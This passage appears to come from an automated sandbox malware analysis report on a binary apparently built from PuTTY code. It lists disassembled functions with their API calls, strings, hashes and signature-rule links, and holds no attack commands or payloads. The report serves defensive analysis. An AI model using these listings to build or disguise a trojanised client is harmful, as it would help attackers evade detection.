                                                                                                                                                    • _strlen.LIBCMT ref: 003240C4
                                                                                                                                                      • Part of subcall function 0032BCF0: RegQueryValueExA.ADVAPI32(?,?,00000000,?,00000000,?,00324743,00000000,Recent sessions), ref: 0032BD16
                                                                                                                                                      • Part of subcall function 0032BCF0: RegQueryValueExA.ADVAPI32(?,?,00000000,?,00000000), ref: 0032BD4D
                                                                                                                                                      • Part of subcall function 00350FB0: _strlen.LIBCMT ref: 00350FC6
                                                                                                                                                    • _strlen.LIBCMT ref: 003240EE
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: QueryValue_strlen$CloseCreate_strcat
                                                                                                                                                    • String ID: MatchHosts$PermitRSASHA1$PermitRSASHA256$PermitRSASHA512$PublicKey$Software\SimonTatham\PuTTY\SshHostCAs$Validity
                                                                                                                                                    • API String ID: 1841596437-2091482613
                                                                                                                                                    • Opcode ID: ee74859b0ae15570e02d1bab728991c374b6e6166865e4a30546cb90555e77c6
                                                                                                                                                    • Instruction ID: 62e5dcce5f21c5d4696b35460a31232be6fda072334e7a41ac1371a085eb6492
                                                                                                                                                    • Opcode Fuzzy Hash: ee74859b0ae15570e02d1bab728991c374b6e6166865e4a30546cb90555e77c6
                                                                                                                                                    • Instruction Fuzzy Hash: 1A4181F9D003106BE6126B20BC43F3B76A89F64745F494829FC899A243F675E958C7A3
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 00324210 Relevance: 15.8, APIs: 1, Strings: 8, Instructions: 100COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                      • Part of subcall function 0032B9B0: RegCreateKeyExA.ADVAPI32(?,?,00000000,00000000,00000000,0002001F,00000000,?,00000000), ref: 0032BA26
                                                                                                                                                      • Part of subcall function 0032B9B0: RegCloseKey.ADVAPI32(?), ref: 0032BA6A
                                                                                                                                                      • Part of subcall function 0032BCB0: _strlen.LIBCMT ref: 0032BCC0
                                                                                                                                                      • Part of subcall function 0032BCB0: RegSetValueExA.ADVAPI32(?2,?,00000000,00000001,00000000,-00000001,?,?,?,?,?,?,?,?,?,?), ref: 0032BCD3
                                                                                                                                                    • _strlen.LIBCMT ref: 00324291
                                                                                                                                                      • Part of subcall function 00356DE0: ___from_strstr_to_strchr.LIBCMT ref: 00356E35
                                                                                                                                                      • Part of subcall function 0032BBB0: RegSetValueExA.ADVAPI32(00000000,003242D0,00000000,00000004,00000000,00000004,?,00000000,003242D0,00000000,PermitRSASHA1,?), ref: 0032BBD2
                                                                                                                                                      • Part of subcall function 0032BA90: RegCloseKey.ADVAPI32(00000000,0032448C,00000000), ref: 0032BA94
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: CloseValue_strlen$Create___from_strstr_to_strchr
                                                                                                                                                    • String ID: CA record must have a name$PermitRSASHA1$PermitRSASHA256$PermitRSASHA512$PublicKey$Software\SimonTatham\PuTTY\SshHostCAs$Unable to create registry keyHKEY_CURRENT_USER\%s\%s$Validity
                                                                                                                                                    • API String ID: 1175142446-1463427279
                                                                                                                                                    • Opcode ID: 22d86b5913e13316848ea34498b5407eb6ffb42c7fe24db479ee8b358a75b303
                                                                                                                                                    • Instruction ID: 768a2368e2eeea56d548382da0ad73c6d21b31b0ba031851c4d886512158d329
                                                                                                                                                    • Opcode Fuzzy Hash: 22d86b5913e13316848ea34498b5407eb6ffb42c7fe24db479ee8b358a75b303
                                                                                                                                                    • Instruction Fuzzy Hash: 752180BBD401203BE6136A607C83F7A76689F62B55F080071FD089E253FB52892997A7
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 0030F680 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 26libraryloaderCOMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                      • Part of subcall function 0032B850: LoadLibraryA.KERNELBASE(00000000,00000000,?,003399F0,kernel32.dll), ref: 0032B86F
                                                                                                                                                    • GetProcAddress.KERNEL32(00000000,InitCommonControls), ref: 0030F69D
                                                                                                                                                    • GetProcAddress.KERNEL32(00000000,MakeDragList), ref: 0030F6AA
                                                                                                                                                    • GetProcAddress.KERNEL32(00000000,LBItemFromPt), ref: 0030F6B7
                                                                                                                                                    • GetProcAddress.KERNEL32(00000000,DrawInsert), ref: 0030F6C4
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: AddressProc$LibraryLoad
                                                                                                                                                    • String ID: DrawInsert$InitCommonControls$LBItemFromPt$MakeDragList$comctl32.dll
                                                                                                                                                    • API String ID: 2238633743-1292723818
                                                                                                                                                    • Opcode ID: dce48f0a2d0fc9861ed6ab8c0c5af622b98c8821b7584186bf4dc23410a042d2
                                                                                                                                                    • Instruction ID: 7aa10461536f82577dbf3685b37719c63eadf83f0097e79cebab38d264627985
                                                                                                                                                    • Opcode Fuzzy Hash: dce48f0a2d0fc9861ed6ab8c0c5af622b98c8821b7584186bf4dc23410a042d2
                                                                                                                                                    • Instruction Fuzzy Hash: C6E092B1941215FE9383AB357D01DFBB79CED51700B01053BE800D2160E3B08900CB92
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 00318C40 Relevance: 15.1, APIs: 10, Instructions: 92threadtimeclipboardCOMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • GetForegroundWindow.USER32 ref: 00318C52
                                                                                                                                                    • GetCapture.USER32 ref: 00318C6D
                                                                                                                                                    • GetClipboardOwner.USER32 ref: 00318C84
                                                                                                                                                    • GetQueueStatus.USER32(00001CBF), ref: 00318CA0
                                                                                                                                                    • GetCursorPos.USER32(?), ref: 00318CC0
                                                                                                                                                    • GlobalMemoryStatus.KERNEL32 ref: 00318CD6
                                                                                                                                                    • GetCurrentThread.KERNEL32 ref: 00318CF5
                                                                                                                                                    • GetThreadTimes.KERNEL32(00000000,?,?,?,?), ref: 00318D04
                                                                                                                                                    • GetCurrentProcess.KERNEL32 ref: 00318D17
                                                                                                                                                    • GetProcessTimes.KERNEL32(00000000,?,?,?,?), ref: 00318D22
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: CurrentProcessStatusThreadTimes$CaptureClipboardCursorForegroundGlobalMemoryOwnerQueueWindow
                                                                                                                                                    • String ID:
                                                                                                                                                    • API String ID: 3596705544-0
                                                                                                                                                    • Opcode ID: 6b5ffcf6b720d695bec20987848c6179a0698cb4bf33c40ce201164c26e9784c
                                                                                                                                                    • Instruction ID: ae12ce0b96b9693617e9bb8e49fda9202ec9de88ef32c808435cafec7e22dd9e
                                                                                                                                                    • Opcode Fuzzy Hash: 6b5ffcf6b720d695bec20987848c6179a0698cb4bf33c40ce201164c26e9784c
                                                                                                                                                    • Instruction Fuzzy Hash: 7921A2B29403407BD6226BA1AC4AF9B7F6CEF49759F040514F61C9E2C1EB715504CBAB
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 00336A00 Relevance: 14.3, APIs: 1, Strings: 7, Instructions: 312COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • ___from_strstr_to_strchr.LIBCMT ref: 00336C1E
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: ___from_strstr_to_strchr
                                                                                                                                                    • String ID: %s$%s%s$A46$LRD$Specified forwarding already exists$You need to specify a destination addressin the form "host.name:port"$You need to specify a source port number
                                                                                                                                                    • API String ID: 601868998-44983218
                                                                                                                                                    • Opcode ID: 16a7213eb3d396d80ffa56fcc56f25c41e0572c00ffeb6b9d6078e98fc4adcf2
                                                                                                                                                    • Instruction ID: f0be4ea7fef4b4fefc842efbe91dccacf0b126f73d939c22a573e1e1d34a7a19
                                                                                                                                                    • Opcode Fuzzy Hash: 16a7213eb3d396d80ffa56fcc56f25c41e0572c00ffeb6b9d6078e98fc4adcf2
                                                                                                                                                    • Instruction Fuzzy Hash: 4D9114B6A043007FDB136625BC83E2B7AEDDF95748F094839FC459A253F622ED548263
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 00312A30 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 95COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: ItemText
                                                                                                                                                    • String ID: /home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/windows/controls.c$Font: %s, %s%d-%s$Font: %s, %sdefault height$bold, $c && c->ctrl->type == CTRL_FONTSELECT$pixel$point
                                                                                                                                                    • API String ID: 3367045223-1561147066
                                                                                                                                                    • Opcode ID: a80a9177eae0dd33cac255c6ba0c0961c617e893ecb42382adf27eb3fbc24c49
                                                                                                                                                    • Instruction ID: a8923c56c40acd8274ad2e25c54991411921fca358897867c303cff6cce96615
                                                                                                                                                    • Opcode Fuzzy Hash: a80a9177eae0dd33cac255c6ba0c0961c617e893ecb42382adf27eb3fbc24c49
                                                                                                                                                    • Instruction Fuzzy Hash: BC210BB6A04110AFD717AF55EC46E5B37A9EF89704F060039F8099B243EA71ED64C762
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 003B2C97 Relevance: 13.8, APIs: 9, Instructions: 273COMMONLIBRARYCODE
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                      • Part of subcall function 003B3082: CreateFileW.KERNEL32(00000000,00000000,?,003B2D40,?,?,00000000,?,003B2D40,00000000,0000000C), ref: 003B309F
                                                                                                                                                    • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00314CA5), ref: 003B2DAB
                                                                                                                                                    • __dosmaperr.LIBCMT ref: 003B2DB2
                                                                                                                                                    • GetFileType.KERNEL32(00000000), ref: 003B2DBE
                                                                                                                                                    • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00314CA5), ref: 003B2DC8
                                                                                                                                                    • __dosmaperr.LIBCMT ref: 003B2DD1
                                                                                                                                                    • CloseHandle.KERNEL32(00000000), ref: 003B2DF1
                                                                                                                                                    • CloseHandle.KERNEL32(003AC004), ref: 003B2F3E
                                                                                                                                                    • GetLastError.KERNEL32 ref: 003B2F70
                                                                                                                                                    • __dosmaperr.LIBCMT ref: 003B2F77
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
                                                                                                                                                    • String ID:
                                                                                                                                                    • API String ID: 4237864984-0
                                                                                                                                                    • Opcode ID: 6503af8fdbff03c580c5b464e9a2a33817f6f6b589885761494cfe4931319332
                                                                                                                                                    • Instruction ID: be67c70125cdb3d71d7424c64a5bdbf27168138b87739dced58319505f852b20
                                                                                                                                                    • Opcode Fuzzy Hash: 6503af8fdbff03c580c5b464e9a2a33817f6f6b589885761494cfe4931319332
                                                                                                                                                    • Instruction Fuzzy Hash: 6AA13132A101549FCF1B9F68DC95BFE7BA4EB0A328F15025DF912AF291CB349902CB51
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 0032C330 Relevance: 13.6, APIs: 9, Instructions: 112memoryCOMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,751F5B70,0032C777), ref: 0032C367
                                                                                                                                                    • OpenProcess.KERNEL32(02000000,00000000,00000000,?,?,?,?,?,?,?,?,751F5B70,0032C777), ref: 0032C375
                                                                                                                                                    • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,751F5B70,0032C777), ref: 0032C3B4
                                                                                                                                                    • LocalAlloc.KERNEL32(00000040,?,?,?,?,?,?,?,?,?,751F5B70,0032C777), ref: 0032C3D1
                                                                                                                                                    • GetLengthSid.ADVAPI32(00000000,?,?,?,?,?,?,?,?,751F5B70,0032C777), ref: 0032C3FB
                                                                                                                                                    • CopySid.ADVAPI32(00000000,00000000,00000000), ref: 0032C41A
                                                                                                                                                    • CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,751F5B70,0032C777), ref: 0032C43B
                                                                                                                                                    • CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,751F5B70,0032C777), ref: 0032C44A
                                                                                                                                                    • LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,751F5B70,0032C777), ref: 0032C455
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: CloseHandleLocalProcess$AllocCopyCurrentErrorFreeLastLengthOpen
                                                                                                                                                    • String ID:
                                                                                                                                                    • API String ID: 621491157-0
                                                                                                                                                    • Opcode ID: 37b7fe8e0a6efff27735cd3dcafeeec6c7084a67040afa23446bdc0f3f46b5f4
                                                                                                                                                    • Instruction ID: 1698be5964be2bd6203054f89e0098adf4bb355ce4bac3b9135bad6fa331520b
                                                                                                                                                    • Opcode Fuzzy Hash: 37b7fe8e0a6efff27735cd3dcafeeec6c7084a67040afa23446bdc0f3f46b5f4
                                                                                                                                                    • Instruction Fuzzy Hash: BB319271254320BFE7236FA1EC85B3F7BACEF44B40F514528F945DA1A1DA719840DBA1
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 003180E0 Relevance: 12.6, APIs: 1, Strings: 6, Instructions: 302COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • _strlen.LIBCMT ref: 00318652
                                                                                                                                                      • Part of subcall function 00313040: SendDlgItemMessageA.USER32(?,?,0000014B,00000000,00000000), ref: 003130C4
                                                                                                                                                      • Part of subcall function 003130F0: SendDlgItemMessageA.USER32(?,?,00000143,00000000,?), ref: 00313177
                                                                                                                                                    Strings
                                                                                                                                                    • Invalid key (no key type), xrefs: 00318715
                                                                                                                                                    • Cannot decode key: %s, xrefs: 0031872B
                                                                                                                                                    • CA key may not be a certificate (type is '%.*s'), xrefs: 0031870B
                                                                                                                                                    • Invalid '%.*s' key data, xrefs: 0031879B
                                                                                                                                                    • Unrecognised key type '%.*s', xrefs: 00318745
                                                                                                                                                    • Unable to load host CA record '%s', xrefs: 003185FC
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: ItemMessageSend$_strlen
                                                                                                                                                    • String ID: CA key may not be a certificate (type is '%.*s')$Cannot decode key: %s$Invalid '%.*s' key data$Invalid key (no key type)$Unable to load host CA record '%s'$Unrecognised key type '%.*s'
                                                                                                                                                    • API String ID: 706372605-3650709019
                                                                                                                                                    • Opcode ID: 8c22b3a0c52799efb672c91a663e5c957b9db0719fb96a6fcaa1751bdf98e97a
                                                                                                                                                    • Instruction ID: c8aa7f948cf484b054bed7d11a89261fa57266f98b9f2222f8c7394e53ea957e
                                                                                                                                                    • Opcode Fuzzy Hash: 8c22b3a0c52799efb672c91a663e5c957b9db0719fb96a6fcaa1751bdf98e97a
                                                                                                                                                    • Instruction Fuzzy Hash: 52813CF6D002007BD6177B21BC42FA77A9CEF59359F084435FC0996253FA22E96886F6
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 003629A0 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 225COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • _strlen.LIBCMT ref: 00362B6B
                                                                                                                                                    • _strlen.LIBCMT ref: 00362BB0
                                                                                                                                                      • Part of subcall function 00356E60: _strlen.LIBCMT ref: 00356E6A
                                                                                                                                                      • Part of subcall function 0032E7A0: _strlen.LIBCMT ref: 0032E7AB
                                                                                                                                                      • Part of subcall function 0032E7A0: _strcat.LIBCMT ref: 0032E7C7
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: _strlen$_strcat
                                                                                                                                                    • String ID: *password*$Proxy password: $Proxy username: $Sending Telnet proxy command: $Telnet proxy authentication
                                                                                                                                                    • API String ID: 1497175149-2037000550
                                                                                                                                                    • Opcode ID: b360d6b18062b1f1138cc8e7248cb7b8c216eb19fbca10c9a4c640f24f6c6042
                                                                                                                                                    • Instruction ID: 1c93842358e2cfbb4ae7401ef81a9134e7eda98249d28be35233ce9b703c6889
                                                                                                                                                    • Opcode Fuzzy Hash: b360d6b18062b1f1138cc8e7248cb7b8c216eb19fbca10c9a4c640f24f6c6042
                                                                                                                                                    • Instruction Fuzzy Hash: 2381E7B5900605AFDB02EF24EC42F6BB775FF14314F154928F8195B2A2E772E924CB92
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 003149F0 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 192COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: LocalTime
                                                                                                                                                    • String ID: %H%M%S$&$&$&$ky=
                                                                                                                                                    • API String ID: 481472006-804298082
                                                                                                                                                    • Opcode ID: 9087a244cdd9433d70b188f8700a881b9dd4747bdfd4e28cb9cf34ebe0d7546a
                                                                                                                                                    • Instruction ID: 71eca6e26172f13386c4f76ee53cbdb80ed4519d775e849256d575c347345de1
                                                                                                                                                    • Opcode Fuzzy Hash: 9087a244cdd9433d70b188f8700a881b9dd4747bdfd4e28cb9cf34ebe0d7546a
                                                                                                                                                    • Instruction Fuzzy Hash: CE512AB2D0D304AFD716AB20EC427BB77A8AF59714F494429F8998B242F331E954C793
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 002F8020 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 145COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • IsZoomed.USER32 ref: 002F8036
                                                                                                                                                    • GetDesktopWindow.USER32 ref: 002F80FF
                                                                                                                                                    • GetClientRect.USER32 ref: 002F8109
                                                                                                                                                    • IsZoomed.USER32 ref: 002F81A2
                                                                                                                                                    • SetWindowPos.USER32(00000000,00000000,00000000,?,?,00000116), ref: 002F8203
                                                                                                                                                    • InvalidateRect.USER32(00000000,00000001), ref: 002F8221
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
